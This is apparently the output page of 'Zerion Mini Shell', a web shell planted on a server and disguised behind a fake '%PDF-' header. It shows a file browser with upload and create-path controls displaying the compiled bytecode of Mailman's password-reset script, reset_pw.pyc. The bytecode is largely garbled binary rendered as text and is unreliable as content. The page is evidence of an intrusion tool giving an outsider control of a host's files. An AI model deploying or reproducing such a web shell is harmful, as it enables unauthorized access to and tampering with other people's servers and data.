%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/mailman/bin/
Upload File :
Create Path :
Current File : //lib/mailman/bin/reset_pw.pyc

�
��ac@s�dZddlZddlZddlZddlmZddlmZyee	fWne
k
rwdZdZ	nXdd�Zd	�Ze
d
kr�ed�ndS(s�Reset the passwords for members of a mailing list.

This script resets all the passwords of a mailing list's members.  It can also
be used to reset the lists of all members of all mailing lists, but it is your
responsibility to let the users know that their passwords have been changed.

This script is intended to be run as a bin/withlist script, i.e.

% bin/withlist -l -r reset_pw listname [options]

Options:
    -v / --verbose
        Print what the script is doing.
i����N(tUtils(tC_iitcCs[|rtj}n	tj}|ttjdd��IJ|rJ||IJntj|�dS(Nt%s%%(tsyststderrtstdoutRt__doc__treplacetexit(tcodetmsgtfd((sZ/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/bin/reset_pw.pytusage4s	
c	Gs�y"tj|ddg�\}}Wn#tjk
rG}td|�nXt}x)|D]!\}}|dkrUt}qUqUW|j�}|r�td�GHnxD|j�D]6}tj	�}|j
||�|r�td�GHq�q�W|j�dS(	Ntvtverboseis-vs	--verboses)Changing passwords for list: %(listname)ss2New password for member %(member)40s: %(randompw)s(s-vs	--verbose(tgetoptterrorR
tFalsetTruet
internal_nameRt
getMembersRtMakeRandomPasswordtsetMemberPasswordtSave(	tmlisttargstoptsRRtopttlistnametmembertrandompw((sZ/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/bin/reset_pw.pytreset_pw@s""
t__main__(RRRtpathstMailmanRtMailman.i18nRRRt	NameErrorR
R t__name__(((sZ/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/bin/reset_pw.pyt<module>"s

	

Zerion Mini Shell 1.0